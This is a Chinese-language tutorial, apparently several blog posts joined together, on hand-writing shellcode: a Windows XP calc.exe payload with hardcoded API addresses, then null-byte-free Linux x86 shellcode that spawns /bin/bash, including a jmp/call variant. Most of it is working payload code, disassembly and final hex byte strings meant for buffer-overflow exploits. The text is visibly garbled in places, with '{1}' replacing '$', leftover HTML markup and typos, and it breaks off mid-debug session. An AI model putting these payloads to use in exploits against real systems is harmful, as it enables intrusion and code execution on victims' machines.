上次学习了下堆喷漏洞的原理,虽说之前有学习过缓冲区溢出的原理,但还没了解过堆喷这个概念,于是趁此机会学习了,顺便复习了缓冲区溢出这块知识,之前由于各种原因对Shellcode的编写只是了解个大概,并没有真正动手写过一个Shellcode。眼前遇到个堆喷漏洞找Shellcode时就下决定自己写个Shellcode,考虑到时间和精力的有限就写个计算器简单的练练手,顺便让像我这种小白人士学习学习。。。
注:以下在XP SP3+VC6.0编译成功
一、首先写个简单的调用计算器的程序。
点击(此处)折叠或打开
- #include "windows.h"
-
- int main()
- {
-
- LoadLibraryA("kernel32.dll");//4c801d7b
- WinExec("calc.exe",SW_SHOW);
-
- return 0;
- }
二、将WinExec("calc.exe",SW_SHOW);转化为汇编模样。
在WinExec("calc.exe",SW_SHOW);处下断点,点F5进行调试,运行到此处时程序会暂停下来,程序暂停后按Alt+8即可查看到对应的汇编代码,经整理后如下:
点击(此处)折叠或打开
- #include "windows.h"
-
- int main()
- {
-
- LoadLibraryA("kernel32.dll");//4c801d7b
- WinExec("calc.exe",SW_SHOW);
- __asm{
- mov esi,esp
- push 5
- push offset string "calc.exe" (0042201c)
- call dword ptr [__imp__WinExec@8 (0042a14c)]
- cmp esi,esp
- call __chkesp (00401090)
- }
- return 0;
- }
稍微懂那么一丢丢汇编的童鞋都知道0042a14c处放着WinExec的地址,这里要注意WinExec的地址不是现在看到的0042a14c,要在地址为0042a14c放着的东东才是WinExec的地址。打个比方0042a14c是个指针,指针所指的地方才是真正需要的东东,所以我们要取出地址为0042a14c存放的数据。在VC6.0下按Alt+6可调出内存窗口,输入0042a14c即可看到。
因此WinExec真正的地址是7C8623AD,注意,这里是要反过来读取。
三、现在有了汇编模样的语句和WinExec的地址,接下来就是要转化为具有Shellcode的汇编代码。在转化汇编时先了解汇编下面是如何完成一个函数调用的:
1、父函数将函数的实参按照从右至左顺序压入堆栈;
2、CPU将父函数中函数调用指令Call XXXXXXXX的下一条指令地址EIP压入堆栈;
3、父函数通过Push Ebp将基地指针Ebp值东方钽业堆栈,并通过Mov Ebp,Esp指令将当前堆栈指针Esp值传给Ebp;
4、通过Sub Esp,m(m是字节数)指令可以为存放函数中的局部变量开辟内存。函数在执行的时候如果需要访问实参或局部变量,都可以通过EBP指针来指引完成。
根据汇编调用函数特点,并使用压栈的方法将参数传递进行,便可得到如下代码:
点击(此处)折叠或打开
- #include "windows.h"
-
- int main()
- {
- LoadLibraryA("kernel32.dll");//4c801d7b
- //WinExec("calc.exe",SW_SHOW);
-
- __asm
- {
-
- push ebp;
- mov ebp,esp;
- xor eax,eax;
- push eax;
- sub esp,08h;
- mov byte ptr [ebp-0Ch],63h; //c
- mov byte ptr [ebp-0Bh],61h; //a
- mov byte ptr [ebp-0Ah],6Ch; //l
- mov byte ptr [ebp-09h],63h; //c
- mov byte ptr [ebp-08h],2Eh; //.
- mov byte ptr [ebp-07h],65h; //e
- mov byte ptr [ebp-06h],78h; //x
- mov byte ptr [ebp-05h],65h; //e
-
- lea eax,[ebp-0ch];
- push eax; //将calc.exe压入栈内
-
- mov eax,0x7C8623AD;
- call eax; //调用WinExec
-
- mov esp,ebp;
- pop ebp;
- }
- return 0;
- }
注意,字符串要以00H结束的哦,编译运行OK~~
四、到这里已经完成最难的部分了,接下来的工作即是将汇编在内存中的代码,即是Shellcode拷出来就是了。同样,在汇编代码任意一处下断点,让程序在断点处停下来,按Alt+8即可看到程序所在的内存地址,再按Alt+6调出内存窗口即可。
将汇编代码范围内的东东全拷出来即得到传说中的Shellcode,这就是程序运行在内存中的模样了。一翻苦工后即可得到有Shellcode模样的Shellcode,同理将LoadLibraryA同样进行转化即可得到一个完整的Shellcode。
点击(此处)折叠或打开
- //LoadLibraryA("kernel32.dll");
- //WinExec("calc.exe",SW_SHOW);
- #include "windows.h"
- unsigned char shellcode[]=
- "x55x8BxECx33xC0x50x83"
- "xECx09xC6x45xF3x6BxC6"
- "x45xF4x65xC6x45xF5x72"
- "xC6x45xF6x6ExC6x45xF7"
- "x65xC6x45xF8x6CxC6x45"
- "xF9x33xC6x45xFAx32xC6"
- "x45xFBx2ExC6x45xFCx64"
- "xC6x45xFDx6CxC6x45xFE"
- "x6Cx8Dx45xF3x50xB8x7B"
- "x1Dx80x7CxFFxD0x8BxE5"
- "x33xC0x50x83xECx08xC6"
- "x45xF4x63xC6x45xF5x61"
- "xC6x45xF6x6CxC6x45xF7"
- "x63xC6x45xF8x2ExC6x45"
- "xF9x65xC6x45xFAx78xC6"
- "x45xFBx65x8Dx45xF4x50"
- "xB8xADx23x86x7CxFFxD0"
- "x8BxE5x5D";
-
- main()
- {
- __asm
- {
- lea eax,shellcode;
- call eax;
- }
- }
基本shellcode提取方法
这里,我们将编写一个非常简单的shellcode,它的功能是得到一个命令行。我们将从该shellcode的C程序源码开始,逐步构造并提取shellcode。
该shellcode的C程序源码为:
- <span style="font-size:18px;">root@linux:~/pentest# cat shellcode.c
- #include <stdio.h>
- int main(int argc, char **argv) {
- char *name[2];
- name[0] = "/bin/bash";
- name[1] = NULL;
- execve(name[0], name, NULL);
- return 0;
- }
- </span>
为了避免链接干扰,静态编译该shellcode,命令为:
- <span style="font-size:18px;">root@linux:~/pentest# gcc -static -g -o shellcode shellcode.c</span>
下面使用gdb调试并分析一下shellcode程序:
- <span style="font-size:18px;">root@linux:~/pentest# gdb shellcode
- GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
- Copyright (C) 2010 Free Software Foundation, Inc.
- License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
- This is free software: you are free to change and redistribute it.
- There is NO WARRANTY, to the extent permitted by law. Type "show copying"
- and "show warranty" for details.
- This GDB was configured as "i686-linux-gnu".
- For bug reporting instructions, please see:
- <http://www.gnu.org/software/gdb/bugs/>...
- Reading symbols from /root/pentest/shellcode...done.
- (gdb) disass main
- Dump of assembler code for function main:
- 0x080482c0 <+0>: push %ebp
- 0x080482c1 <+1>: mov %esp,%ebp
- 0x080482c3 <+3>: and {1}xfffffff0,%esp
- 0x080482c6 <+6>: sub {1}x20,%esp
- 0x080482c9 <+9>: movl {1}x80ae428,0x18(%esp)
- 0x080482d1 <+17>: movl {1}x0,0x1c(%esp)
- 0x080482d9 <+25>: mov 0x18(%esp),%eax
- 0x080482dd <+29>: movl {1}x0,0x8(%esp)
- 0x080482e5 <+37>: lea 0x18(%esp),%edx
- 0x080482e9 <+41>: mov %edx,0x4(%esp)
- 0x080482ed <+45>: mov %eax,(%esp)
- 0x080482f0 <+48>: call 0x8052f10 <execve>
- 0x080482f5 <+53>: mov {1}x0,%eax
- 0x080482fa <+58>: leave
- 0x080482fb <+59>: ret
- End of assembler dump.
- </span>
根据程序反汇编得到的代码分析,在call指令执行之前,函数堆栈的使用情况如下图所示:
我们用gdb调试运行shellcode,看我们上面的分析是否完全正确。
- <span style="font-size:18px;">(gdb) b main
- Breakpoint 1 at 0x80482c9: file shellcode.c, line 6.
- (gdb) b *main+48
- Breakpoint 2 at 0x80482f0: file shellcode.c, line 9.
- (gdb) r
- Starting program: /root/pentest/shellcode
- Breakpoint 1, main (argc=1, argv=0xbffff474) at shellcode.c:6
- 6 name[0] = "/bin/bash";
- (gdb) x/s 0x80ae428
- 0x80ae428: "/bin/bash"
- (gdb) c
- Continuing.
- Breakpoint 2, 0x080482f0 in main (argc=1, argv=0xbffff474) at shellcode.c:9
- 9 execve(name[0], name, NULL);
- (gdb) x/4bx $ebp-40
- 0xbffff3b0: 0x28 0xe4 0x0a 0x08
- (gdb) x/4bx $ebp-36
- 0xbffff3b4: 0xc8 0xf3 0xff 0xbf
- (gdb) x/4bx $ebp-32
- 0xbffff3b8: 0x00 0x00 0x00 0x00
- (gdb) x/4bx $ebp-12
- 0xbffff3cc: 0x00 0x00 0x00 0x00
- (gdb) x/4bx $ebp-16
- 0xbffff3c8: 0x28 0xe4 0x0a 0x08
- (gdb)
- </span>
从调试结果看,上面关于call指令前的堆栈的分析是完全正确的。
即main函数的关键在于调用了execve函数,在调试中我们可以看到在调用该函数前将三个参数按照从右往左的顺序依次压入堆栈中。首先压入0x0(即NULL参数),然后是指向0x80ae428的指针,最后压入地址0x80ae428。
接下来,我们反汇编execve函数,看看该函数的功能是如何实现的。
- <span style="font-size:18px;">(gdb) disass execve
- Dump of assembler code for function execve:
- 0x08052f10 <+0>: push %ebp
- 0x08052f11 <+1>: mov %esp,%ebp
- 0x08052f13 <+3>: mov 0x10(%ebp),%edx
- 0x08052f16 <+6>: push %ebx
- 0x08052f17 <+7>: mov 0xc(%ebp),%ecx
- 0x08052f1a <+10>: mov 0x8(%ebp),%ebx
- 0x08052f1d <+13>: mov {1}xb,%eax
- 0x08052f22 <+18>: call *0x80cf098
- 0x08052f28 <+24>: cmp {1}xfffff000,%eax
- 0x08052f2d <+29>: ja 0x8052f32 <execve+34>
- 0x08052f2f <+31>: pop %ebx
- 0x08052f30 <+32>: pop %ebp
- 0x08052f31 <+33>: ret
- 0x08052f32 <+34>: mov {1}xffffffe8,%edx
- 0x08052f38 <+40>: neg %eax
- 0x08052f3a <+42>: mov %gs:0x0,%ecx
- 0x08052f41 <+49>: mov %eax,(%ecx,%edx,1)
- 0x08052f44 <+52>: or {1}xffffffff,%eax
- 0x08052f47 <+55>: jmp 0x8052f2f <execve+31>
- End of assembler dump.
- </span>
可以看到该函数的核心是“call *0x80cf098”这条指令。为了查看该call指令具体调用的函数名称,继续调试如下:
- <span style="font-size:18px;">(gdb) b *execve+18
- Breakpoint 1 at 0x8052f22
- (gdb) r
- Starting program: /root/pentest/shellcode
- Breakpoint 1, 0x08052f22 in execve ()
- (gdb) stepi
- 0x00110414 in __kernel_vsyscall ()
- (gdb) stepi
- process 1870 is executing new program: /bin/bash
- root@linux:/root/pentest# exit
- exit
- Program exited normally.
- (gdb)
- </span>
可以看到,该call指令调用了__kernel_vsyscall ()这个内核函数。又因为__kernel_vsyscall的设计目标是代替int 80, 也就是下面两种方式应该是等价的:
- <span style="font-size:18px;"> /* int80 */ /* __kernel_vsyscall */
- movl </span><pre class="cpp" name="code"><span style="font-size:18px;">{1}</span></pre><br>
- <span style="font-size:18px">_NR_getpid, %eax movl </span><pre class="cpp" name="code"><span style="font-size:18px;">{1}</span></pre><br>
- <span style="font-size:18px">_NR_getpid, %eax int {1}x80 call __kernel_vsyscall /* %eax=getpid() */ /* %eax=getpid() %/</span>
- <pre></pre>
- <p><span style="font-size:18px"> </span></p>
- <p><span style="font-size:18px">同时,我们可以借鉴以前版本gcc编译后反汇编的代码查看execve的实现细节:</span></p>
- <pre class="cpp" name="code"><span style="font-size:18px;">[scz@ /home/scz/src]> gdb shellcode
- GNU gdb 4.17.0.11 with Linux support
- This GDB was configured as "i386-redhat-linux"...
- (gdb) disassemble main <-- -- -- 输入
- Dump of assembler code for function main:
- 0x80481a0 : pushl %ebp
- 0x80481a1 : movl %esp,%ebp
- 0x80481a3 : subl {1}x8,%esp
- 0x80481a6 : movl {1}x806f308,0xfffffff8(%ebp)
- 0x80481ad : movl {1}x0,0xfffffffc(%ebp)
- 0x80481b4 : pushl {1}x0
- 0x80481b6 : leal 0xfffffff8(%ebp),%eax
- 0x80481b9 : pushl %eax
- 0x80481ba : movl 0xfffffff8(%ebp),%eax
- 0x80481bd : pushl %eax
- 0x80481be : call 0x804b9b0 <__execve>
- 0x80481c3 : addl {1}xc,%esp
- 0x80481c6 : xorl %eax,%eax
- 0x80481c8 : jmp 0x80481d0
- 0x80481ca : leal 0x0(%esi),%esi
- 0x80481d0 : leave
- 0x80481d1 : ret
- End of assembler dump.
- (gdb) disas __execve <-- -- -- 输入
- Dump of assembler code for function __execve:
- 0x804b9b0 <__execve>: pushl %ebx
- 0x804b9b1 <__execve+1>: movl 0x10(%esp,1),%edx
- 0x804b9b5 <__execve+5>: movl 0xc(%esp,1),%ecx
- 0x804b9b9 <__execve+9>: movl 0x8(%esp,1),%ebx
- 0x804b9bd <__execve+13>: movl {1}xb,%eax
- 0x804b9c2 <__execve+18>: int {1}x80
- 0x804b9c4 <__execve+20>: popl %ebx
- 0x804b9c5 <__execve+21>: cmpl {1}xfffff001,%eax
- 0x804b9ca <__execve+26>: jae 0x804bcb0 <__syscall_error>
- 0x804b9d0 <__execve+32>: ret
- End of assembler dump.
- </span></pre>
- <p><br>
- <span style="font-size:18px"> </span></p>
- <p><span style="font-size:18px">即,execve的核心是一个软中断int $0x80。接下来,查看一下在软中断之前,各寄存器的内容,及其意义:</span></p>
- <pre class="cpp" name="code"><span style="font-size:18px;">(gdb) disass execve
- Dump of assembler code for function execve:
- 0x08052f10 <+0>: push %ebp
- 0x08052f11 <+1>: mov %esp,%ebp
- 0x08052f13 <+3>: mov 0x10(%ebp),%edx
- 0x08052f16 <+6>: push %ebx
- 0x08052f17 <+7>: mov 0xc(%ebp),%ecx
- 0x08052f1a <+10>: mov 0x8(%ebp),%ebx
- 0x08052f1d <+13>: mov {1}xb,%eax
- 0x08052f22 <+18>: call *0x80cf098
- 0x08052f28 <+24>: cmp {1}xfffff000,%eax
- 0x08052f2d <+29>: ja 0x8052f32 <execve+34>
- 0x08052f2f <+31>: pop %ebx
- 0x08052f30 <+32>: pop %ebp
- 0x08052f31 <+33>: ret
- 0x08052f32 <+34>: mov {1}xffffffe8,%edx
- 0x08052f38 <+40>: neg %eax
- 0x08052f3a <+42>: mov %gs:0x0,%ecx
- 0x08052f41 <+49>: mov %eax,(%ecx,%edx,1)
- 0x08052f44 <+52>: or {1}xffffffff,%eax
- 0x08052f47 <+55>: jmp 0x8052f2f <execve+31>
- End of assembler dump.
- (gdb) b *execve+18
- Breakpoint 1 at 0x8052f22
- (gdb) r
- Starting program: /root/pentest/shellcode
- Breakpoint 1, 0x08052f22 in execve ()
- (gdb) i r
- eax 0xb 11
- ecx 0xbffff3c8 -1073744952
- edx 0x0 0
- ebx 0x80ae428 134931496
- esp 0xbffff3a4 0xbffff3a4
- ebp 0xbffff3a8 0xbffff3a8
- esi 0x8048a40 134515264
- edi 0xbffff42d -1073744851
- eip 0x8052f22 0x8052f22 <execve+18>
- eflags 0x282 [ SF IF ]
- cs 0x73 115
- ss 0x7b 123
- ds 0x7b 123
- es 0x7b 123
- fs 0x0 0
- gs 0x33 51
- (gdb) x/x 0xbffff3c8
- 0xbffff3c8: 0x80ae428
- (gdb) x/s 0x80ae428
- 0x80ae428: "/bin/bash"
- (gdb) c
- Continuing.
- process 1981 is executing new program: /bin/bash
- root@linux:/root/pentest# exit
- exit
- Program exited normally.
- (gdb)
- </span></pre>
- <p><br>
- <span style="font-size:18px"> </span></p>
- <p><span style="font-size:18px">可以看到,eax保存execve的系统调用号11,ebx保存name[0](即“/bin/bash”),ecx保存name这个指针,edx保存0(即NULL),这样执行软中断之后,就能得到shell了。接下来,有了以上分析,我们就可以编写自己的shellcode了,同是验证上面分析结果的正确性。</span></p>
- <p><span style="font-size:18px">下面,我们用C语言内嵌汇编的方式,构造shellcode,具体代码如下。有一点要注意,Linux X86默认的字节序是little-endian,所以压栈的字符串要注意顺序。(如“/bin/bash”,其16进制表示为0x2f 0x62 0x69 0x6e 0x2f 0x62 0x61 0x73 0x68,在little-endian模式下,其表示为0x68 0x73 0x61 0x62 0x2f 0x6e 0x69 0x62 0x2f,其中有个小技巧,不足4字节的用0x2f(即“/”)补足)。</span></p>
- <pre class="cpp" name="code"><span style="font-size:18px;">root@linux:~/pentest# cat shellcode_asm.c
- #include <stdio.h>
- int main(int argc, char **argv) {
- __asm__
- (" \
- mov {1}x0,%edx; \
- push %edx; \
- push {1}x68736162; \
- push {1}x2f6e6962; \
- push {1}x2f2f2f2f; \
- mov %esp,%ebx; \
- push %edx; \
- push %ebx; \
- mov %esp,%ecx; \
- mov {1}xb,%eax; \
- int {1}x80; \
- ");
- return 0;
- }
- root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c
- root@linux:~/pentest# ./shellcode_asm
- root@linux:/root/pentest# exit
- exit
- root@linux:~/pentest#
- </span></pre>
- <p><br>
- <span style="font-size:18px"> </span></p>
- <p><span style="font-size:18px">通过编译执行,我们成功的得到了shell命令行。在编写内嵌汇编时,一定要注意格式问题;当然,最重要的是在执行软中断前一定要使各寄存器的值符合我们之前分析的结果。</span></p>
- <p><span style="font-size:18px">此时,编写工作还没有完结,要记住我们的最终目的是得到ShellCode,也就是一串汇编指令;而对于strcpy等函数造成的缓冲区溢出攻击,会认为0是一个字符串的终结,那么ShellCode如果包含0就会被截断,导致溢出失败。</span></p>
- <p><span style="font-size:18px">用objdump反汇编这个shellcode,并查看是否包含0,命令为:</span></p>
- <pre class="cpp" name="code"><span style="font-size:18px;">objdump –d shellcode_asm | less</span></pre>
- <p><br>
- <span style="font-size:18px"> </span></p>
- <p><span style="font-size:18px">该命令将会反汇编所有包含机器指令的section,请自行找到main段:</span></p>
- <pre class="cpp" name="code"><span style="font-size:18px;">08048394 <main>:
- 8048394: 55 push %ebp
- 8048395: 89 e5 mov %esp,%ebp
- 8048397: ba 00 00 00 00 mov {1}x0,%edx
- 804839c: 52 push %edx
- 804839d: 68 62 61 73 68 push {1}x68736162
- 80483a2: 68 62 69 6e 2f push {1}x2f6e6962
- 80483a7: 68 2f 2f 2f 2f push {1}x2f2f2f2f
- 80483ac: 89 e3 mov %esp,%ebx
- 80483ae: 52 push %edx
- 80483af: 53 push %ebx
- 80483b0: 89 e1 mov %esp,%ecx
- 80483b2: b8 0b 00 00 00 mov {1}xb,%eax
- 80483b7: cd 80 int {1}x80
- 80483b9: b8 00 00 00 00 mov {1}x0,%eax
- 80483be: 5d pop %ebp
- 80483bf: c3 ret
- </span></pre>
- <p><br>
- <span style="font-size:18px"> </span></p>
- <p><span style="font-size:18px">从反汇编结果可以看到,有两条指令“mov $0x0,%edx”和“mov $0xb,%eax”包含0,需要变通一下。我们分别使用“x0r %edx,%edx”和“lea 0xb(%edx),%eax”来替换。</span></p>
- <pre class="cpp" name="code"><span style="font-size:18px;">root@linux:~/pentest# cat shellcode_asm.c
- #include <stdio.h>
- int main(int argc, char **argv) {
- __asm__
- (" \
- xor %edx,%edx; \
- push %edx; \
- push {1}x68736162; \
- push {1}x2f6e6962; \
- push {1}x2f2f2f2f; \
- mov %esp,%ebx; \
- push %edx; \
- push %ebx; \
- mov %esp,%ecx; \
- lea 0xb(%edx),%eax; \
- int {1}x80; \
- ");
- return 0;
- }
- root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c
- root@linux:~/pentest# ./shellcode_asm
- root@linux:/root/pentest# exit
- exit
- root@linux:~/pentest#
- </span></pre>
- <p><br>
- <span style="font-size:18px"> </span></p>
- <p><span style="font-size:18px">运行没有问题,再看看这个shellcode有没有包含0:</span></p>
- <pre class="cpp" name="code"><span style="font-size:18px;">08048394 <main>:
- 8048394: 55 push %ebp
- 8048395: 89 e5 mov %esp,%ebp
- 8048397: 31 d2 xor %edx,%edx
- 8048399: 52 push %edx
- 804839a: 68 62 61 73 68 push {1}x68736162
- 804839f: 68 62 69 6e 2f push {1}x2f6e6962
- 80483a4: 68 2f 2f 2f 2f push {1}x2f2f2f2f
- 80483a9: 89 e3 mov %esp,%ebx
- 80483ab: 52 push %edx
- 80483ac: 53 push %ebx
- 80483ad: 89 e1 mov %esp,%ecx
- 80483af: 8d 42 0b lea 0xb(%edx),%eax
- 80483b2: cd 80 int {1}x80
- 80483b4: b8 00 00 00 00 mov {1}x0,%eax
- 80483b9: 5d pop %ebp
- 80483ba: c3 ret
- 80483bb: 90 nop
- 80483bc: 90 nop
- 80483bd: 90 nop
- 80483be: 90 nop
- 80483bf: 90 nop
- </span></pre>
- <p><br>
- <span style="font-size:18px"> </span></p>
- <p><span style="font-size:18px">可以看到,所有曾经出现0的指令,在进行指令替换之后,所有的0全部消除了。注意,我们只提取嵌入汇编部分的指令的二进制代码作为我们的shellcode使用,即从0x8048397到0x80483b2地址之间的指令。</span></p>
- <p><span style="font-size:18px">即,我们生成的shellcode为:</span></p>
- <p><span style="font-size:18px">\x31\xd2\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80</span></p>
- <pre class="cpp" name="code"><span style="font-size:18px;">root@linux:~/pentest# cat test_shellcode.c
- #include <stdio.h>
- char shellcode[] =
- "\x31\xd2\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f"
- "\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
- int main(int argc, char **argv) {
- __asm__
- (" \
- call shellcode; \
- ");
- }
- root@linux:~/pentest# gcc -g -o test_shellcode test_shellcode.c
- root@linux:~/pentest# ./test_shellcode
- Segmentation fault
- root@linux:~/pentest# gcc -z execstack -g -o test_shellcode test_shellcode.c
- root@linux:~/pentest# ./test_shellcode
- root@linux:/root/pentest# exit
- exit
- root@linux:~/pentest#
- </span></pre>
- <p><br>
- <span style="font-size:18px"> </span></p>
- <p><span style="font-size:18px">可以看到,shellcode提取成功!</span></p>
- <p><span style="font-size:18px"> </span></p>
- <p><br>
- <span style="font-size:18px"> </span></p>
- <p><span style="font-size:18px"> </span></p>
- <pre></pre>
- <span style="font-size:18px"></span>
- <pre></pre>
- <pre></pre>
- <pre></pre>
- <pre></pre>
接下来,我们将在上文的基础上,进一步完善shellcode的提取。
前面关于main和execve的分析,同“基本shellcode提取方法”中相应部分的讲解。
如果execve()调用失败的话,程序将会继续从堆栈中获取指令并执行,而此时堆栈中的数据时随机的,通常这个程序会core dump。如果我们希望在execve()调用失败时,程序仍然能够正常退出,那么我们就必须在execve()调用之后增加一个exit系统调用。它的C语言程序如下:
- <span style="font-size:18px;">root@linux:~/pentest# cat shellcode_exit.c
- #include <stdio.h>
- #include <stdlib.h>
- int main(int argc, char **argv) {
- exit(0);
- }
- root@linux:~/pentest# gdb shellcode_exit
- GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
- Copyright (C) 2010 Free Software Foundation, Inc.
- License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
- This is free software: you are free to change and redistribute it.
- There is NO WARRANTY, to the extent permitted by law. Type "show copying"
- and "show warranty" for details.
- This GDB was configured as "i686-linux-gnu".
- For bug reporting instructions, please see:
- <http://www.gnu.org/software/gdb/bugs/>...
- Reading symbols from /root/pentest/shellcode_exit...done.
- (gdb) disass exit
- Dump of assembler code for function exit@plt:
- 0x080482f0 <+0>: jmp *0x804a008
- 0x080482f6 <+6>: push {1}x10
- 0x080482fb <+11>: jmp 0x80482c0
- End of assembler dump.
- (gdb)
- </span>
通过gdb反汇编可以看到现在的gcc编译器向我们隐藏了exit系统调用的实现细节。但是,通过翻阅以前版本gdb反汇编信息,仍然可以得到exit系统调用的实现细节。
- <span style="font-size:18px;">[scz@ /home/scz/src]> gdb shellcode_exit
- GNU gdb 4.17.0.11 with Linux support
- This GDB was configured as "i386-redhat-linux"...
- (gdb) disas _exit
- Dump of assembler code for function _exit:
- 0x804b970 <_exit>: movl %ebx,%edx
- 0x804b972 <_exit+2>: movl 0x4(%esp,1),%ebx
- 0x804b976 <_exit+6>: movl {1}x1,%eax
- 0x804b97b <_exit+11>: int {1}x80
- 0x804b97d <_exit+13>: movl %edx,%ebx
- 0x804b97f <_exit+15>: cmpl {1}xfffff001,%eax
- 0x804b984 <_exit+20>: jae 0x804bc60 <__syscall_error>
- End of assembler dump.
- </span>
我们可以看到,exit系统调用将0x1放入到eax中(它是syscall的索引值),同时将退出码放入到ebx中(大部分程序正常退出时的返回值是0),然后执行“int 0x80”系统调用。
其实,到目前为止,我们要构造shellcode,但是我们并不知道我们要放置的字符串在内存中的确切位置。在3.1节中,我们采用将字符串压栈的方式获得字符串起始地址。在这一节中,我们将给出一种确定字符串起始地址的设计方案。该方案采用的是jmp和call指令。由于jmp和call指令都可以采用eip相对寻址,也就是说,我们可以从当前运行的地址跳到一个偏移地址处执行,而不必知道这个地址的确切地址值。如果我们将call指令放在“/bin/bash”字符串前,然后jmp到call指令的位置,那么当call指令被执行时,它会首先将下一个要执行的指令的地址(也就是字符串的起始地址)压入堆栈。这样就可以获得字符串的起始地址。然后我们可以让call指令调用我们的shellcode的第一条指令,然后将返回地址(字符串起始地址)从堆栈中弹出到某个寄存器中。
我们要构造的shellcode的执行流程如下图所示:
Shellcode执行流程解析:
RET覆盖返回地址eip之后,子函数返回时将跳转到我们的shellcode的起始地址处执行。由于shellcode起始地址处是一条jmp指令,它直接跳到了我们的call指令处执行。call指令先将返回地址(“/bin/bash”字符串地址)压栈之后,跳转到jmp指令下一地址处指令继续执行。这样就可以获取到字符串的地址。
即:
- <span style="font-size:18px;">Beginning_of_shellcode:
- jmp subroutine_call
- subroutine:
- popl %esi
- ……
- (shellcode itself)
- ……
- subroutine_call:
- call subroutine
- /bin/sh
- </span>
下面,我们用C语言内嵌汇编的方式,构造shellcode。
- <span style="font-size:18px;">root@linux:~/pentest# cat shellcode_asm.c
- #include <stdio.h>
- int main(int argc, char **argv) {
- __asm__
- (" \
- jmp subroutine_call; \
- subroutine: \
- popl %esi; \
- movl %esi,0x8(%esi); \
- movl {1}x0,0xc(%esi); \
- movb {1}x0,0x7(%esi); \
- movl {1}xb,%eax; \
- movl %esi,%ebx; \
- leal 0x8(%esi),%ecx; \
- leal 0xc(%esi),%edx; \
- int {1}x80; \
- movl {1}x0,%ebx; \
- movl {1}x1,%eax; \
- int {1}x80; \
- subroutine_call: \
- call subroutine; \
- .string \"/bin/sh\"; \
- ");
- return 0;
- }
- root@linux:~/pentest# objdump -d shellcode_asm
- 08048394 <main>:
- 8048394: 55 push %ebp
- 8048395: 89 e5 mov %esp,%ebp
- 8048397: eb 2a jmp 80483c3 <subroutine_call>
- 08048399 <subroutine>:
- 8048399: 5e pop %esi
- 804839a: 89 76 08 mov %esi,0x8(%esi)
- 804839d: c7 46 0c 00 00 00 00 movl {1}x0,0xc(%esi)
- 80483a4: c6 46 07 00 movb {1}x0,0x7(%esi)
- 80483a8: b8 0b 00 00 00 mov {1}xb,%eax
- 80483ad: 89 f3 mov %esi,%ebx
- 80483af: 8d 4e 08 lea 0x8(%esi),%ecx
- 80483b2: 8d 56 0c lea 0xc(%esi),%edx
- 80483b5: cd 80 int {1}x80
- 80483b7: bb 00 00 00 00 mov {1}x0,%ebx
- 80483bc: b8 01 00 00 00 mov {1}x1,%eax
- 80483c1: cd 80 int {1}x80
- 080483c3 <subroutine_call>:
- 80483c3: e8 d1 ff ff ff call 8048399 <subroutine>
- 80483c8: 2f das
- 80483c9: 62 69 6e bound %ebp,0x6e(%ecx)
- 80483cc: 2f das
- 80483cd: 73 68 jae 8048437 <__libc_csu_init+0x57>
- 80483cf: 00 b8 00 00 00 00 add %bh,0x0(%eax)
- 80483d5: 5d pop %ebp
- 80483d6: c3 ret
- 80483d7: 90 nop
- 80483d8: 90 nop
- 80483d9: 90 nop
- 80483da: 90 nop
- 80483db: 90 nop
- 80483dc: 90 nop
- 80483dd: 90 nop
- 80483de: 90 nop
- 80483df: 90 nop
- </span>
替换掉shellcode中含有的Null字节的指令:
含有Null字节的指令 | 替代指令 |
movl $0x0,0xc(%esi) movb $0x0,0x7(%esi) | xorl %eax,%eax movl %eax,0xc(%esi) movb %al,0x7(%esi) |
movl $0xb,%eax | xorl %eax,%eax movb $0xb,%al |
movl $0x1,%eax movl $0x0,%ebx | xorl %ebx,%ebx iovl %ebx,%eax inc %eax |
修改后的代码和反汇编结果如下:
- <span style="font-size:18px;">root@linux:~/pentest# cat shellcode_asm.c
- #include <stdio.h>
- int main(int argc, char **argv) {
- __asm__
- (" \
- jmp subroutine_call; \
- subroutine: \
- popl %esi; \
- movl %esi,0x8(%esi); \
- xorl %eax,%eax; \
- movl %eax,0xc(%esi); \
- movb %al,0x7(%esi); \
- movb {1}xb,%al; \
- movl %esi,%ebx; \
- leal 0x8(%esi),%ecx; \
- leal 0xc(%esi),%edx; \
- int {1}x80; \
- xorl %ebx,%ebx; \
- movl %ebx,%eax; \
- inc %eax; \
- int {1}x80; \
- subroutine_call: \
- call subroutine; \
- .string \"/bin/sh\"; \
- ");
- return 0;
- }
- root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c
- root@linux:~/pentest# objdump -d shellcode_asm
- 08048394 <main>:
- 8048394: 55 push %ebp
- 8048395: 89 e5 mov %esp,%ebp
- 8048397: eb 1f jmp 80483b8 <subroutine_call>
- 08048399 <subroutine>:
- 8048399: 5e pop %esi
- 804839a: 89 76 08 mov %esi,0x8(%esi)
- 804839d: 31 c0 xor %eax,%eax
- 804839f: 89 46 0c mov %eax,0xc(%esi)
- 80483a2: 88 46 07 mov %al,0x7(%esi)
- 80483a5: b0 0b mov {1}xb,%al
- 80483a7: 89 f3 mov %esi,%ebx
- 80483a9: 8d 4e 08 lea 0x8(%esi),%ecx
- 80483ac: 8d 56 0c lea 0xc(%esi),%edx
- 80483af: cd 80 int {1}x80
- 80483b1: 31 db xor %ebx,%ebx
- 80483b3: 89 d8 mov %ebx,%eax
- 80483b5: 40 inc %eax
- 80483b6: cd 80 int {1}x80
- 080483b8 <subroutine_call>:
- 80483b8: e8 dc ff ff ff call 8048399 <subroutine>
- 80483bd: 2f das
- 80483be: 62 69 6e bound %ebp,0x6e(%ecx)
- 80483c1: 2f das
- 80483c2: 73 68 jae 804842c <__libc_csu_init+0x5c>
- 80483c4: 00 b8 00 00 00 00 add %bh,0x0(%eax)
- 80483ca: 5d pop %ebp
- 80483cb: c3 ret
- 80483cc: 90 nop
- 80483cd: 90 nop
- 80483ce: 90 nop
- 80483cf: 90 nop
- root@linux:~/pentest# gdb shellcode_asm
